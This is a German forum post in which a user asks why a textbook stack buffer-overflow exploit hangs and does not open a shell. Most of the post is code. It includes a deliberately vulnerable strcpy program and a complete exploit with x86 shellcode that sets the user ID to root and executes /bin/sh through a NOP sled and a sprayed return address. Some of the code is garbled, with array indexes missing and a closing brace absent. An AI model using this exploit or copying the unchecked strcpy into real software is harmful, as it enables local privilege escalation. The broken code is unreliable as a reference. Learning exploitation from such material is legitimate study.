Exploit

Ich habe einen Exploit für ein Beispielprogramm (aus einem Buch) und diese Exploit will einfach nich.

laut Buch ist die Ausgabe:
ESP : 0xbffff978
Offset from ESP : 0x0
Desired Return Addr : 0xbffff978
sh-2.05a#

bei mir:
ESP : 0xbffff978
Offset from ESP : 0x0
Desired Return Addr : 0xbffff978 <- hier bleibt er stecken

nutze Suse9.0
Hoffe mir kann jemand helfen! :(

bsp. progi (over.c):

int main (int argc, char *argv[])
{
char buffer[500];
strcpy(buffer,argv[1]);
return 0;

exploit dazu:

#include <stdlib.h>

char shellcode[]=
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4d\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";

unsigned long sp(void)
{__asm__("movl %esp, %eax");} // um den Stack Pointer zur?ck zu geben

int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;

offset=0;
esp=sp();
ret=esp-offset;

printf("Stach Pointer (ESP): 0x%x\n",esp);
printf("Offset from ESP: 0x%x\n",offset);
printf("Desired Return Addr: 0x%x\n",ret);

//600 bytes reservieren
buffer = malloc(600);

//Gesamten Buffer mit der gew?nschten ret-Adresse f?llen
ptr=buffer;
addr_ptr=(long *)ptr;
for(i=0;i<600;i+=4)
{*(addr_ptr++)=ret;}

//Die ersten 200 Bytes des Buffer mit Nop-Anweisungen f?llen
for(i=0;i<200;i++)
{buffer='\x90';}

//Den Shellcode hinter Nop schreiben
ptr= buffer+200;
for(i=0;i<strlen(shellcode);i++)
{*(ptr++)=shellcode;}

//End the string
buffer[600-1]=0;

//Aufruf
execl("./over","over",buffer,0);
//Speicher freigeben
free(buffer);
return 0;
}
 
Zurück
Oben